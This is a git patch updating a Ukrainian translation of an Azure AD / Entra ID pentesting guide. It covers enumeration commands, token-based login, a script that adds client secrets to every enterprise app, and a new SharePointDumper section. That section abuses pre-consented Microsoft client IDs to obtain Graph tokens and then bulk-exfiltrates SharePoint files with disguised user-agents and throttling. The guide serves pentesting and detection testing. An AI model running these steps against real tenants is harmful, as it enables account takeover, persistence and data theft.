From 09769502b419c40f544ce28805c9fef08c9f7ebc Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 12:18:11 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur --- .../azure-security/az-services/az-azuread.md | 193 ++++++++++++------ 1 file changed, 135 insertions(+), 58 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 2dc6be80f..e627c6867 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -4,13 +4,13 @@ ## Основна інформація -Azure Active Directory (Azure AD) є хмарною службою Microsoft для управління ідентичністю та доступом. Вона є важливою для того, щоб співробітники могли входити в систему та отримувати доступ до ресурсів як всередині, так і за межами організації, включаючи Microsoft 365, портал Azure та безліч інших SaaS-додатків. Дизайн Azure AD зосереджений на наданні основних ідентифікаційних послуг, зокрема **автентифікації, авторизації та управління користувачами**. +Azure Active Directory (Azure AD) є хмарним сервісом Microsoft для управління ідентифікацією та доступом. Він дозволяє працівникам входити в систему та отримувати доступ до ресурсів як всередині організації, так і поза нею, включно з Microsoft 365, Azure portal та численними іншими SaaS-застосунками. Конструкція Azure AD спрямована на надання базових сервісів ідентифікації, зокрема **аутентифікації, авторизації та керування користувачами**. -Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими службами безпеки Microsoft. Ці функції значно підвищують безпеку ідентичностей користувачів і надають організаціям можливість ефективно впроваджувати та забезпечувати свої політики доступу. Як основний компонент екосистеми хмарних служб Microsoft, Azure AD є ключовим для управління ідентичностями користувачів у хмарі. +Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими сервісами безпеки Microsoft. Ці можливості суттєво підвищують безпеку ідентичностей користувачів і дають організаціям змогу ефективно впроваджувати та застосовувати свої політики доступу. Як фундаментальний компонент екосистеми хмарних сервісів Microsoft, Azure AD має вирішальне значення для хмарного управління ідентичностями користувачів. ## Перерахування -### **З'єднання** +### **Підключення** {{#tabs }} {{#tab name="az cli" }} @@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds # Connect with access token Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken] +# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token) # Connect with Service principal/enterprise app secret $password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force @@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Коли ви **входите** через **CLI** в Azure з будь-якою програмою, ви використовуєте **Azure Application** з **оренди**, яка належить **Microsoft**. Ці програми, як ті, що ви можете створити у своєму обліковому записі, **мають ідентифікатор клієнта**. Ви **не зможете побачити всі з них** у **списках дозволених програм**, які ви можете побачити в консолі, **але вони дозволені за замовчуванням**. +Коли ви **виконуєте вхід** через **CLI** в Azure з будь-якої програми, ви використовуєте **Azure Application** з **tenant**, який належить **Microsoft**. Ці Applications, як ті, що ви можете створити у своєму обліковому записі, **мають client id**. Ви **не зможете побачити всі з них** у **allowed applications lists**, які видно в консолі, **але вони дозволені за замовчуванням**. -Наприклад, **скрипт powershell**, який **автентифікує**, використовує додаток з ідентифікатором клієнта **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо додаток не з'являється в консолі, системний адміністратор може **заблокувати цю програму**, щоб користувачі не могли отримати доступ, використовуючи інструменти, які підключаються через цей додаток. +Наприклад, **powershell script**, який **автентифікується**, використовує додаток з client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо додаток не відображається в консолі, системний адміністратор може **заблокувати цей додаток**, щоб користувачі не могли отримати доступ за допомогою інструментів, що підключаються через цей App. -Однак є **інші ідентифікатори клієнтів** програм, які **дозволять вам підключитися до Azure**: +Однак існують **інші client-ids** додатків, які **дозволяють підключитися до Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -226,7 +227,7 @@ az account tenant list ### Користувачі -Для отримання додаткової інформації про користувачів Entra ID перегляньте: +Для отримання додаткової інформації про користувачів Entra ID див.: {{#ref}} ../az-basic-information/ @@ -365,15 +366,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ``` ### MFA & Conditional Access Policies -Рекомендується додати MFA для кожного користувача, однак деякі компанії можуть не налаштовувати його або можуть налаштувати його з умовним доступом: Користувач буде **зобов'язаний використовувати MFA, якщо** він входить з певного місця, браузера або **якоїсь умови**. Ці політики, якщо не налаштовані правильно, можуть бути схильні до **обхідних шляхів**. Перевірте: +Наполегливо рекомендується додати MFA для кожного користувача; однак деякі компанії не встановлюють його або налаштовують через Conditional Access: для користувача буде **вимагатися MFA, якщо** він увійде з певної локації, браузера або за **якоїсь умови**. Ці політики, якщо неправильно налаштовані, можуть піддаватися **bypasses**. Перевірте: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Groups +### Групи -Для отримання додаткової інформації про групи Entra ID перевірте: +Для додаткової інформації про групи Entra ID див.: {{#ref}} ../az-basic-information/ @@ -487,16 +488,16 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Групи можуть бути динамічними, що в основному означає, що **якщо користувач виконує певні умови, його буде додано до групи**. Звичайно, якщо умови базуються на **атрибутах**, які **користувач** може **контролювати**, він може зловживати цією функцією, щоб **потрапити до інших груп**.\ -> Перевірте, як зловживати динамічними групами на наступній сторінці: +> Групи можуть бути динамічними, що означає, що **якщо користувач відповідає певним умовам, його буде додано до групи**. Звісно, якщо умови базуються на **атрибутах**, які **користувач** може **контролювати**, він може зловживати цією функцією, щоб **опинитися в інших групах**.\ +> Дізнайтеся, як зловживати динамічними групами на наступній сторінці: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -### Службові принципали +### Service Principals -Для отримання додаткової інформації про службові принципали Entra ID перевірте: +Для отримання додаткової інформації про Entra ID service principals дивіться: {{#ref}} ../az-basic-information/ @@ -597,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> Власник сервісного принципалу може змінити його пароль. +> Власник Service Principal може змінити його пароль.
-Список та спроба додати клієнтський секрет до кожного корпоративного додатку +Переглянути список і спробувати додати client secret до кожного Enterprise App ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -706,18 +707,18 @@ Write-Output "Failed to Enumerate the Applications." ```
-### Застосунки +### Додатки -Для отримання додаткової інформації про Застосунки перегляньте: +Для детальнішої інформації про додатки див.: {{#ref}} ../az-basic-information/ {{#endref}} -Коли створюється додаток, надаються 2 типи дозволів: +Коли створюється App, надаються 2 типи дозволів: -- **Дозволи**, надані **Службовому Принципалу** -- **Дозволи**, які **додаток** може мати та використовувати **від імені користувача**. +- **Дозволи**, надані **Service Principal** +- **Дозволи**, які **app** може мати та використовувати **від імені користувача**. {{#tabs }} {{#tab name="az cli" }} @@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92 # Get Cloud Applications Administrators (full access over apps) az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members" +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` {{#endtab }} @@ -792,21 +820,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> Додаток з дозволом **`AppRoleAssignment.ReadWrite`** може **підвищити привілеї до Global Admin**, надавши собі цю роль.\ -> Для отримання додаткової інформації [**перевірте це**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> Додаток з дозволом **`AppRoleAssignment.ReadWrite`** може підвищити привілеї до Global Admin, надаючи собі цю роль.\ +> Для отримання додаткової інформації [**перегляньте це**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Секретний рядок, який додаток використовує для підтвердження своєї особи при запиті токена, є паролем додатка.\ -> Отже, якщо ви знайдете цей **пароль**, ви зможете отримати доступ як **сервісний принципал** **всередині** **орендаря**.\ -> Зверніть увагу, що цей пароль видимий лише під час генерації (ви можете змінити його, але не зможете отримати його знову).\ -> **Власник** **додатка** може **додати пароль** до нього (щоб він міг його імітувати).\ -> Вхід як ці сервісні принципали **не позначається як ризиковий** і вони **не матимуть MFA.** +> Секретний рядок, який застосунок використовує для підтвердження своєї ідентичності при запиті токена, — це application password.\ +> Отже, якщо знайдете цей **password**, ви зможете отримати доступ як **service principal** **inside** **tenant**.\ +> Зверніть увагу, що цей password видно лише під час його створення (ви можете змінити його, але не зможете отримати знову).\ +> Власник додатка може **додати password** до нього (тому він може видавати себе за нього).\ +> Входи під цими **service principals** не позначаються як ризикові і у них **не буде MFA.** -Можливо знайти список загальновживаних ID додатків, що належать Microsoft, за адресою [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +Можна знайти список часто використовуваних App IDs, що належать Microsoft, за адресою [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) -### Керовані ідентичності +### Managed Identities -Для отримання додаткової інформації про Керовані ідентичності перевірте: +Для отримання додаткової інформації про Managed Identities див.: {{#ref}} ../az-basic-information/ @@ -822,9 +850,9 @@ az identity list --output table {{#endtab }} {{#endtabs }} -### Ролі Azure +### Azure Ролі -Для отримання додаткової інформації про ролі Azure перегляньте: +Для отримання додаткової інформації про ролі Azure див.: {{#ref}} ../az-basic-information/ @@ -911,7 +939,7 @@ Headers = @{ ### Ролі Entra ID -Для отримання додаткової інформації про ролі Azure дивіться: +Для отримання додаткової інформації про ролі Azure див.: {{#ref}} ../az-basic-information/ @@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Якщо пристрій (VM) **приєднаний до AzureAD**, користувачі з AzureAD зможуть **увійти в систему**.\ -> Більше того, якщо увійшовший користувач є **Власником** пристрою, він буде **локальним адміністратором**. +> Якщо пристрій (VM) **AzureAD joined**, користувачі з AzureAD зможуть **увійти**.\ +> Крім того, якщо залогінений користувач є **Owner** пристрою, він стане **local admin**. -### Адміністративні одиниці +### Administrative Units -Для отримання додаткової інформації про адміністративні одиниці перегляньте: +Для додаткової інформації щодо адміністративних одиниць див.: {{#ref}} ../az-basic-information/ @@ -1072,6 +1100,53 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} +## Екфільтрація даних SharePoint через делегований Microsoft Graph (SharePointDumper) + +Зловмисники з **delegated Microsoft Graph token**, який включає **`Sites.Read.All`** або **`Sites.ReadWrite.All`**, можуть перераховувати **sites/drives/items** через Graph та потім **витягувати вміст файлів** за допомогою **SharePoint pre-authentication download URLs** (тимчасово обмежені URL-адреси, які містять access token). Скрипт [SharePointDumper](https://github.com/zh54321/SharePointDumper) автоматизує весь процес (enumeration → pre-auth downloads) і генерує телеметрію по кожному запиту для тестування засобів виявлення. + +### Отримання придатних delegated tokens + +- SharePointDumper сам **не автентифікується**; потрібно надати access token (опційно refresh token). +- Попередньо погоджені **first-party clients** можна зловживати для отримання Graph token без реєстрації додатку. Приклади викликів `Invoke-Auth` (з [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): +```powershell +# CAE requested by default; yields long-lived (~24h) access token +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE) + +# Other pre-consented clients +Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE) +Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE) +Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE) +Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) +``` +> [!NOTE] +> Клієнти FOCI TRUE підтримують refresh між пристроями; клієнти FOCI FALSE часто вимагають `-Origin`, щоб задовольнити перевірку origin reply URL. + +### Запуск SharePointDumper для enumeration + exfiltration + +- Базовий dump з custom UA / proxy / throttling: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' +``` +- Керування охопленням: включення/виключення сайтів або розширень та глобальні ліміти: +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 +``` +- **Продовжити** перервані запуски (повторно перераховує, але пропускає вже завантажені елементи): +```powershell +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant +``` +- **Автоматичне оновлення токена при HTTP 401** (потребує завантаженого EntraTokenAid): +```powershell +Import-Module ./EntraTokenAid/EntraTokenAid.psm1 +.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' +``` +Операційні нотатки: + +- Надає перевагу **CAE-enabled** токенам, щоб уникнути закінчення дії під час виконання; спроби оновлення **не** реєструються в API-лозі інструмента. +- Генерує **CSV/JSON request logs** для **Graph + SharePoint** та за замовчуванням маскує вбудовані токени завантаження SharePoint (можна переключити). +- Підтримує **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, та **Ctrl+C-safe shutdown** для формування трафіку під час тестів виявлення/IR. + ## Підвищення привілеїв Entra ID {{#ref}} @@ -1086,29 +1161,29 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ## Захисні механізми -### Управління привілейованими ідентичностями (PIM) +### Privileged Identity Management (PIM) -Управління привілейованими ідентичностями (PIM) в Azure допомагає **запобігти надмірним привілеям**, які без потреби надаються користувачам. +Privileged Identity Management (PIM) в Azure допомагає **запобігти надмірному наданню привілеїв** користувачам без потреби. -Однією з основних функцій, які надає PIM, є те, що він дозволяє не призначати ролі принципалам, які постійно активні, а робити їх **придатними на певний період часу (наприклад, 6 місяців)**. Тоді, коли користувач хоче активувати цю роль, він повинен запитати її, вказуючи час, на який йому потрібен привілей (наприклад, 3 години). Потім **адміністратор повинен затвердити** запит.\ -Зверніть увагу, що користувач також зможе попросити **продовжити** час. +Одна з головних функцій PIM полягає в тому, що він дозволяє не призначати ролі принципалам, які постійно активні, а робити їх доступними на певний період часу (наприклад, 6 місяців). Коли користувач хоче активувати цю роль, йому потрібно запросити її, вказавши час, на який потрібні привілеї (наприклад, 3 години). Потім **адміністратору потрібно схвалити** запит.\ +Зауважте, що користувач також зможе попросити **продовження** часу. -Більше того, **PIM надсилає електронні листи** щоразу, коли привілейована роль призначається комусь. +Крім того, **PIM надсилає електронні листи** щоразу, коли привілейована роль призначається комусь.
-Коли PIM увімкнено, можна налаштувати кожну роль з певними вимогами, такими як: +Коли PIM увімкнено, можна налаштувати для кожної ролі певні вимоги, наприклад: - Максимальна тривалість (години) активації - Вимагати MFA при активації -- Вимагати контекст аутентифікації умовного доступу +- Вимагати контекст автентифікації Conditional Access - Вимагати обґрунтування при активації -- Вимагати інформацію про квиток при активації +- Вимагати інформацію про тикет при активації - Вимагати затвердження для активації -- Максимальний час для закінчення дії придатних призначень -- Багато інших налаштувань щодо того, коли і кому надсилати сповіщення, коли певні дії відбуваються з цією роллю +- Максимальний час до закінчення дії eligible-призначень +- Багато інших налаштувань щодо того, коли і кому надсилати сповіщення при певних діях з цією роллю -### Політики умовного доступу +### Conditional Access Policies Перевірте: @@ -1116,30 +1191,32 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Захист ідентичності Entra +### Entra Identity Protection -Захист ідентичності Entra - це сервіс безпеки, який дозволяє **виявляти, коли користувач або вхід занадто ризикований** для прийняття, дозволяючи **блокувати** користувача або спробу входу. +Entra Identity Protection — це сервіс безпеки, який дозволяє **виявляти, коли користувач або sign-in є занадто ризиковими**, щоб їх приймати, даючи можливість **блокувати** користувача або спробу входу. -Це дозволяє адміністратору налаштувати його для **блокування** спроб, коли ризик "Низький і вище", "Середній і вище" або "Високий". Хоча за замовчуванням він повністю **вимкнений**: +Адміністратор може налаштувати його так, щоб **блокувати** спроби, коли ризик — "Low and above", "Medium and above" або "High". Однак за замовчуванням він повністю **вимкнений**:
> [!TIP] -> Сьогодні рекомендується додавати ці обмеження через політики умовного доступу, де можна налаштувати ті ж самі опції. +> Наразі рекомендується додавати ці обмеження через політики Conditional Access, де можна налаштувати ті самі опції. -### Захист паролів Entra +### Entra Password Protection -Захист паролів Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) - це функція безпеки, яка **допомагає запобігти зловживанню слабкими паролями, блокуючи облікові записи, коли відбувається кілька невдалих спроб входу**.\ -Вона також дозволяє **заборонити користувацький список паролів**, який потрібно надати. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) — це функція безпеки, яка **допомагає запобігти зловживанню слабкими паролями шляхом блокування облікових записів після кількох невдалих спроб входу**.\ +Вона також дозволяє **забороняти кастомний список паролів**, який потрібно надати. -Вона може бути **застосована як** на рівні хмари, так і в локальному Active Directory. +Її можна застосовувати **як у хмарі**, так і в локальному Active Directory. -Режим за замовчуванням - **Аудит**: +Режим за замовчуванням — **Audit**:
## Посилання - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) +- [SharePointDumper](https://github.com/zh54321/SharePointDumper) +- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid) {{#include ../../../banners/hacktricks-training.md}}